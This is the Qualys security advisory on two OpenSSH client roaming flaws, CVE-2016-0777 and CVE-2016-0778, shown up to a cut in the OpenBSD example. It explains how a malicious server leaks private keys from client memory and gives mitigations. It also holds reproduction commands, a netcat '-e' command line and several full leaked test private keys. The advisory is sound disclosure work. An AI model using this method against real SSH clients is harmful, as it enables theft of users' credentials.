Qualys Security Advisory Roaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778 ======================================================================== Contents ======================================================================== Summary Information Leak (CVE-2016-0777) - Analysis - Private Key Disclosure - Mitigating Factors - Examples Buffer Overflow (CVE-2016-0778) - Analysis - Mitigating Factors - File Descriptor Leak Acknowledgments Proof Of Concept ======================================================================== Summary ======================================================================== Since version 5.4 (released on March 8, 2010), the OpenSSH client supports an undocumented feature called roaming: if the connection to an SSH server breaks unexpectedly, and if the server supports roaming as well, the client is able to reconnect to the server and resume the suspended SSH session. Although roaming is not supported by the OpenSSH server, it is enabled by default in the OpenSSH client, and contains two vulnerabilities that can be exploited by a malicious SSH server (or a trusted but compromised server): an information leak (memory disclosure), and a buffer overflow (heap-based). The information leak is exploitable in the default configuration of the OpenSSH client, and (depending on the client's version, compiler, and operating system) allows a malicious SSH server to steal the client's private keys. This information leak may have already been exploited in the wild by sophisticated attackers, and high-profile sites or users may need to regenerate their SSH keys accordingly. The buffer overflow, on the other hand, is present in the default configuration of the OpenSSH client but its exploitation requires two non-default options: a ProxyCommand, and either ForwardAgent (-A) or ForwardX11 (-X). This buffer overflow is therefore unlikely to have any real-world impact, but provides a particularly interesting case study. All OpenSSH versions between 5.4 and 7.1 are vulnerable, but can be easily hot-fixed by setting the undocumented option "UseRoaming" to "no", as detailed in the Mitigating Factors section. OpenSSH version 7.1p2 (released on January 14, 2016) disables roaming by default. ======================================================================== Information Leak (CVE-2016-0777) ======================================================================== ------------------------------------------------------------------------ Analysis ------------------------------------------------------------------------ If the OpenSSH client connects to an SSH server that offers the key exchange algorithm "resume@appgate.com", it sends the global request "roaming@appgate.com" to the server, after successful authentication. If this request is accepted, the client allocates a roaming buffer out_buf, by calling malloc() (and not calloc()) with an out_buf_size that is arbitrarily chosen by the server: 63 void 64 roaming_reply(int type, u_int32_t seq, void *ctxt) 65 { 66 if (type == SSH2_MSG_REQUEST_FAILURE) { 67 logit("Server denied roaming"); 68 return; 69 } 70 verbose("Roaming enabled"); .. 75 set_out_buffer_size(packet_get_int() + get_snd_buf_size()); .. 77 } 40 static size_t out_buf_size = 0; 41 static char *out_buf = NULL; 42 static size_t out_start; 43 static size_t out_last; .. 75 void 76 set_out_buffer_size(size_t size) 77 { 78 if (size == 0 || size > MAX_ROAMBUF) 79 fatal("%s: bad buffer size %lu", __func__, (u_long)size); 80 /* 81 * The buffer size can only be set once and the buffer will live 82 * as long as the session lives. 83 */ 84 if (out_buf == NULL) { 85 out_buf_size = size; 86 out_buf = xmalloc(size); 87 out_start = 0; 88 out_last = 0; 89 } 90 } The OpenSSH client's roaming_write() function, a simple wrapper around write(), calls wait_for_roaming_reconnect() to transparently reconnect to the SSH server after a disconnection. It also calls buf_append() to copy the data sent to the server into the roaming buffer out_buf. During a reconnection, the client is therefore able to resend the data that was not received by the server because of the disconnection: 198 void 199 resend_bytes(int fd, u_int64_t *offset) 200 { 201 size_t available, needed; 202 203 if (out_start < out_last) 204 available = out_last - out_start; 205 else 206 available = out_buf_size; 207 needed = write_bytes - *offset; 208 debug3("resend_bytes: resend %lu bytes from %llu", 209 (unsigned long)needed, (unsigned long long)*offset); 210 if (needed > available) 211 fatal("Needed to resend more data than in the cache"); 212 if (out_last < needed) { 213 int chunkend = needed - out_last; 214 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend, 215 chunkend); 216 atomicio(vwrite, fd, out_buf, out_last); 217 } else { 218 atomicio(vwrite, fd, out_buf + (out_last - needed), needed); 219 } 220 } In the OpenSSH client's roaming buffer out_buf, the most recent data sent to the server begins at index out_start and ends at index out_last. As soon as this circular buffer is full, buf_append() maintains the invariant "out_start = out_last + 1", and consequently three different cases have to be considered: - "out_start < out_last" (lines 203-204): out_buf is not full yet (and out_start is still equal to 0), and the amount of data available in out_buf is indeed "out_last - out_start"; - "out_start > out_last" (lines 205-206): out_buf is full (and out_start is exactly equal to "out_last + 1"), and the amount of data available in out_buf is indeed the entire out_buf_size; - "out_start == out_last" (lines 205-206): no data was ever written to out_buf (and both out_start and out_last are still equal to 0) because no data was ever sent to the server after roaming_reply() was called, but the client sends (leaks) the entire uninitialized out_buf to the server (line 214), as if out_buf_size bytes of data were available. In order to successfully exploit this information leak and retrieve sensitive information from the OpenSSH client's memory (for example, private SSH keys, or memory addresses useful for further exploitation), a malicious server needs to: - Massage the client's heap before roaming_reply() malloc()ates out_buf, and force malloc() to return a previously free()d but uncleansed chunk of sensitive information. The simple proof-of-concept in this advisory does not implement heap massaging. - Guess the client's get_snd_buf_size() in order to precisely control out_buf_size. OpenSSH < 6.0 accepts out_buf sizes in the range (0,4G), and OpenSSH >= 6.0 accepts sizes in the range (0,2M]. Sizes smaller than get_snd_buf_size() are attainable because roaming_reply() does not protect "packet_get_int() + get_snd_buf_size()" against integer wraparound. The proof-of-concept in this advisory attempts to derive the client's get_snd_buf_size() from the get_recv_buf_size() sent by the client to the server, and simply chooses a random out_buf_size. - Advise the client's resend_bytes() that all "available" bytes (the entire out_buf_size) are "needed" by the server, even if fewer bytes were actually written by the client to the server (because the server controls the "*offset" argument, and resend_bytes() does not protect "needed = write_bytes - *offset" against integer wraparound). Finally, a brief digression on a minor bug in resend_bytes(): on 64-bit systems, where "chunkend" is a 32-bit signed integer, but "out_buf" and "out_buf_size" are 64-bit variables, "out_buf + out_buf_size - chunkend" may point out-of-bounds, if chunkend is negative (if out_buf_size is in the [2G,4G) range). This negative chunkend is then converted to a 64-bit size_t greater than SSIZE_MAX when passed to atomicio(), and eventually returns EFAULT when passed to write() (at least on Linux and OpenBSD), thus avoiding an out-of-bounds read from the OpenSSH client's memory. ------------------------------------------------------------------------ Private Key Disclosure ------------------------------------------------------------------------ We initially believed that this information leak in the OpenSSH client's roaming code would not allow a malicious SSH server to steal the client's private keys, because: - the information leaked is not read from out-of-bounds memory, but from a previously free()d chunk of memory that is recycled to malloc()ate the client's roaming buffer out_buf; - private keys are loaded from disk into memory and freed by key_free() (old API, OpenSSH < 6.7) or sshkey_free() (new API, OpenSSH >= 6.7), and both functions properly cleanse the private keys' memory with OPENSSL_cleanse() or explicit_bzero(); - temporary copies of in-memory private keys are freed by buffer_free() (old API) or sshbuf_free() (new API), and both functions attempt to cleanse these copies with memset() or bzero(). However, we eventually identified three reasons why, in our experiments, we were able to partially or completely retrieve the OpenSSH client's private keys through this information leak (depending on the client's version, compiler, operating system, heap layout, and private keys): (besides these three reasons, other reasons may exist, as suggested by the CentOS and Fedora examples at the end of this section) 1. If a private SSH key is loaded from disk into memory by fopen() (or fdopen()), fgets(), and fclose(), a partial or complete copy of this private key may remain uncleansed in memory. Indeed, these functions manage their own internal buffers, and whether these buffers are cleansed or not depends on the OpenSSH client's libc (stdio) implementation, but not on OpenSSH itself. - In all vulnerable OpenSSH versions, SSH's main() function calls load_public_identity_files(), which loads the client's public keys with fopen(), fgets(), and fclose(). Unfortunately, the private keys (without the ".pub" suffix) are loaded first and then discarded, but nonetheless buffered in memory by the stdio functions. - In OpenSSH versions <= 5.6, the load_identity_file() function (called by the client's public-key authentication method) loads a private key with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses fgets() and hence internal stdio buffering. Internal stdio buffering is the most severe of the three problems discussed in this section, although GNU/Linux is not affected because the glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers. BSD-based systems, on the other hand, are severely affected because they simply malloc()ate and free() stdio buffers. For interesting comments on this issue: https://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+that+sensitive+data+is+not+written+out+to+disk 2. In OpenSSH versions >= 5.9, the client's load_identity_file() function (called by the public-key authentication method) read()s a private key in 1024-byte chunks that are appended to a growing buffer (a realloc()ating buffer) with buffer_append() (old API) or sshbuf_put() (new API). Unfortunately, the repeated calls to realloc() may leave partial copies of the private key uncleansed in memory. - In OpenSSH < 6.7 (old API), the initial size of such a growing buffer is 4096 bytes: if a private-key file is larger than 4K, a partial copy of this private key may remain uncleansed in memory (a 3K copy in a 4K buffer). Fortunately, only the file of a very large RSA key (for example, an 8192-bit RSA key) can exceed 4K. - In OpenSSH >= 6.7 (new API), the initial size of a growing buffer is 256 bytes: if a private-key file is larger than 1K (the size passed to read()), a partial copy of this private key may remain uncleansed in memory (a 1K copy in a 1K buffer). For example, the file of a default-sized 2048-bit RSA key exceeds 1K. For more information on this issue: https://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources https://cwe.mitre.org/data/definitions/244.html 3. An OpenSSH growing-buffer that holds a private key is eventually freed by buffer_free() (old API) or sshbuf_free() (new API), and both functions attempt to cleanse the buffer with memset() or bzero() before they call free(). Unfortunately, an optimizing compiler may remove this memset() or bzero() call, because the buffer is written to, but never again read from (an optimization known as Dead Store Elimination). OpenSSH 6.6 is the only version that is not affected, because it calls explicit_bzero() instead of memset() or bzero(). Dead Store Elimination is the least severe of the three problems explored in this section, because older GCC versions do not remove the memset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5 and Clang/LLVM do, however, remove it. For detailed discussions of this issue: https://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations https://cwe.mitre.org/data/definitions/14.html https://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506 Finally, for these three reasons, passphrase-encrypted SSH keys are leaked in their encrypted form, but an attacker may attempt to crack the passphrase offline. On the other hand, SSH keys that are available only through an authentication agent are never leaked, in any form. ------------------------------------------------------------------------ Mitigating Factors ------------------------------------------------------------------------ This information leak affects all OpenSSH clients >= 5.4, but its impact is slightly reduced by the following four reasons: 1. The vulnerable roaming code can be permanently disabled by adding the undocumented option "UseRoaming no" to the system-wide configuration file (usually /etc/ssh/ssh_config), or per-user configuration file (~/.ssh/config), or command-line (-o "UseRoaming no"). 2. If an OpenSSH client is disconnected from an SSH server that offers roaming, it prints "[connection suspended, press return to resume]" on stderr, and waits for 'n' or 'r' on stdin (and not on the controlling terminal) before it reconnects to the server; advanced users may become suspicious and press Control-C or Control-Z instead, thus avoiding the information leak: # "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key $ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume]^Z [1]+ Stopped /usr/bin/ssh -p 222 127.0.0.1 However, SSH commands that use the local stdin to transfer data to the remote server are bound to trigger this reconnection automatically (upon reading a 'n' or 'r' from stdin). Moreover, these non-interactive SSH commands (for example, backup scripts and cron jobs) commonly employ public-key authentication and are therefore perfect targets for this information leak: $ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.ls" [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting] $ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.tar" tar: Removing leading `/' from member names [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] ... [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting] Similarly, the SCP client uses the SSH client's stdin and stdout to transfer data, and can be forced by a malicious SSH server to output a control record that ends in 'n' (an error message in server-to-client mode, or file permissions in client-to-server mode); this 'n' is then read from stdin by the fgetc() call in wait_for_roaming_reconnect(), and triggers an automatic reconnection that allows the information leak to be exploited without user interaction: # env ROAMING="scp_mode sleep:1" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key $ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp $ [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting] $ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting] lost connection 3. Although a man-in-the-middle attacker can reset the TCP connection between an OpenSSH client and an OpenSSH server (which does not support roaming), it cannot exploit the information leak without breaking server host authentication or integrity protection, because it needs to: - first, append the "resume@appgate.com" algorithm name to the server's initial key exchange message; - second, in response to the client's "roaming@appgate.com" request, change the server's reply from failure to success. In conclusion, an attacker who wishes to exploit this information leak must convince its target OpenSSH client to connect to a malicious server (an unlikely scenario), or compromise a trusted server (a more likely scenario, for a determined attacker). 4. We discovered several non-security bugs, in specific versions and configurations of OpenSSH, that prevent the client's roaming code from reconnecting to the server and, as a result, prevent this information leak from being exploited. In the client, wait_for_roaming_reconnect() calls ssh_connect(), the same function that successfully established the first connection to the server; this function supports four different connection methods, but each method contains a bug and may fail to establish a second connection to the server: - In OpenSSH >= 6.5 (released on January 30, 2014), the default ssh_connect_direct() method (a simple TCP connection) is called by wait_for_roaming_reconnect() with a NULL aitop argument, which makes it impossible for the client to reconnect to the server: 418 static int 419 ssh_connect_direct(const char *host, struct addrinfo *aitop, ... 424 int sock = -1, attempt; 425 char ntop[NI_MAXHOST], strport[NI_MAXSERV]; ... 430 for (attempt = 0; attempt < connection_attempts; attempt++) { ... 440 for (ai = aitop; ai; ai = ai->ai_next) { ... 470 } 471 if (sock != -1) 472 break; /* Successful connection. */ 473 } 474 475 /* Return failure if we didn't get a successful connection. */ 476 if (sock == -1) { 477 error("ssh: connect to host %s port %s: %s", 478 host, strport, strerror(errno)); 479 return (-1); 480 } Incidentally, this error() call displays stack memory from the uninitialized strport[] array, a byproduct of the NULL aitop: $ /usr/bin/ssh -V OpenSSH_6.8, LibreSSL 2.1 $ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port 300350226373341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port 300350226373341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port 300350226373341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port 300350226373341: Bad file descriptor - The special ProxyCommand "-" communicates with the server through the client's stdin and stdout, but these file descriptors are close()d by packet_backup_state() at the beginning of wait_for_roaming_reconnect() and are never reopened again, making it impossible for the client to reconnect to the server. Moreover, the fgetc() that waits for 'n' or 'r' on the closed stdin returns EOF and forces the client to exit(): $ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013 $ /usr/bin/nc -e "/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1" 127.0.0.1 222 Pseudo-terminal will not be allocated because stdin is not a terminal. user@127.0.0.1's password: [connection suspended, press return to resume][exiting] - The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that passes a connected file descriptor back to the client, but it calls fatal() while reconnecting to the server, because waitpid() returns ECHILD; indeed, the SIGCHLD handler (installed by SSH's main() after the first successful connection to the server) calls waitpid() before ssh_proxy_fdpass_connect() does: 1782 static void 1783 main_sigchld_handler(int sig) 1784 { .... 1789 while ((pid = waitpid(-1, &status, WNOHANG)) > 0 || 1790 (pid < 0 && errno == EINTR)) 1791 ; 1792 1793 signal(sig, main_sigchld_handler); .... 1795 } 101 static int 102 ssh_proxy_fdpass_connect(const char *host, u_short port, 103 const char *proxy_command) 104 { ... 121 /* Fork and execute the proxy command. */ 122 if ((pid = fork()) == 0) { ... 157 } 158 /* Parent. */ ... 167 while (waitpid(pid, NULL, 0) == -1) 168 if (errno != EINTR) 169 fatal("Couldn't wait for child: %s", strerror(errno)); $ /usr/bin/ssh -V OpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015 $ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand="/usr/bin/nc -F %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]Couldn't wait for child: No child processes - The method ssh_proxy_connect() fork()s a standard ProxyCommand that connects the client to the server, but if a disconnection occurs, and the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is waiting for a 'n' or 'r' on stdin, EOF is returned (the underlying read() returns EINTR) and the client exit()s before it can reconnect to the server: $ /usr/bin/ssh -V OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014 $ /usr/bin/ssh -o ProxyCommand="/bin/nc %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][exiting] This behavior is intriguing, because (at least on Linux and BSD) the signal() call that installed the main_sigchld_handler() is supposed to be equivalent to a sigaction() call with SA_RESTART. However, portable versions of OpenSSH override signal() with mysignal(), a function that calls sigaction() without SA_RESTART. This last mitigating factor is actually a race-condition bug that depends on the ProxyCommand itself: for example, the client never fails to reconnect to the server when using Socat as a ProxyCommand, but fails occasionally when using Netcat. ------------------------------------------------------------------------ Private Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key ------------------------------------------------------------------------ $ head -n 1 /etc/motd FreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014 $ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013 $ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0 9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+ eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme vOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi /rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE K+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr +7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n UxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7 qsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11 1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV pmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs= -----END RSA PRIVATE KEY----- # env ROAMING="client_out_buf_size:1280" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key $ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed] # cat /tmp/roaming-97ed9f59/infoleak MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0 9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+ eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme ------------------------------------------------------------------------ Private Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key ------------------------------------------------------------------------ $ head -n 1 /etc/motd FreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013 $ /usr/bin/ssh -V OpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013 $ cat ~/.ssh/id_dsa -----BEGIN DSA PRIVATE KEY----- MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe 4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY 8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4 cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+ iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh PHatTfiy5p82Q8+TD60= -----END DSA PRIVATE KEY----- # env ROAMING="client_out_buf_size:768" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key $ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume][connection resumed] # cat /tmp/roaming-9448bb7f/infoleak MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe 4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY 8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4 cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+ iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To ... # env ROAMING="client_out_buf_size:1024" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key $ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume][connection resumed] # cat /tmp/roaming-279f5e2b/infoleak ... iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh PHatTfiy5p82Q8+TD60= ... ------------------------------------------------------------------------ Private Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key ------------------------------------------------------------------------ $ head -n 1 /etc/motd OpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013 $ /usr/bin/ssh -V OpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012 $ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL 9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175 ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G +umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95 n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt 8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5 cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb 3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0= -----END RSA PRIVATE KEY----- # env ROAMING="client_out_buf_size:2048" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key $ /usr/bin/ssh -p 222 127.0.0.1 